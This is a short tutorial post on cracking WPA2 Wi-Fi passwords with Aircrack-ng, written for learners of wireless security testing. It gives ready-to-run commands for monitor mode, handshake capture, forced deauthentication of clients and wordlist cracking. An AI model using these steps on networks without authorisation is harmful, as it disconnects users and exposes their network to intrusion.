Cracking Wi-Fi Passwords using Aircrack-ng!
By: George Bousygine
March 08, 2021
Background
What is Wi-Fi?
- Wireless networking technology to interface with the internet
- Stands for Wireless Fidelity
- Uses radio frequencies to send signal between devices
- Frequency is 2.4Ghz and 5Ghz learn more
What is Aircrack-ng?
- A complete suite of tools to assess Wi-Fi network security.
It focuses on different areas of Wi-Fi security:
- Monitoring: Packet capture and export of data to text files for further processing by third party tools.
- Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
- Testing: Checking WiFi cards and driver capabilities (capture and injection).
- Cracking: WEP and WPA PSK (WPA 1 and 2).
Wi-Fi securities:
WEP, WPA, WPA2, WPA3, WPS Leran more
WPA2
- Stronger security than WPA using a stronger encryption method
- AES (advanced encryption standart) - which makes it strong enough to resist brute force attack unlike WPA
- Uses 4 way handshake process to join the network
4 Way Handshake
Demonstration
Before we begin, the computer must have a network adapter that supports monitor mode.
Find out what chipset & driver you need: click here
- Check what mode wlan0 is in:
$ iwconfig
This should be in “Managed mode”
- Kill all other processes: (we don’t want anything to interfere with what we are doing)
$ sudo airmon-ng check kill
- Change monde into monitor mode:
$ sudo airmon-ng start wlan0
Check again what mode we are in using the first command
- Find out AP’s MAC address and channel:
$ sudo airodump-ng wlan0
Note - Only do this on your own netwrok or with permission on other ones!!!
- Open another terminal to capture the 4-way handshake:
$ sudo airodump-ng -w ["name of file"] -c ["Channel Number"] --bssid ["MAC Address"] wlan0
- In first terminal we will deauthenticate client from network:
$ sudo aireplay-ng --deauth 0 -a ["MAC Address"] wlan0
Waiting for client to reconnect step 5 will capture the 4-way handshake
- Crack the file:
$ sudo aircrack-ng [".cap File"] -w ["Word List"]
To stop monitor mode run the following command:
$ sudo airmon-ng stop wlan0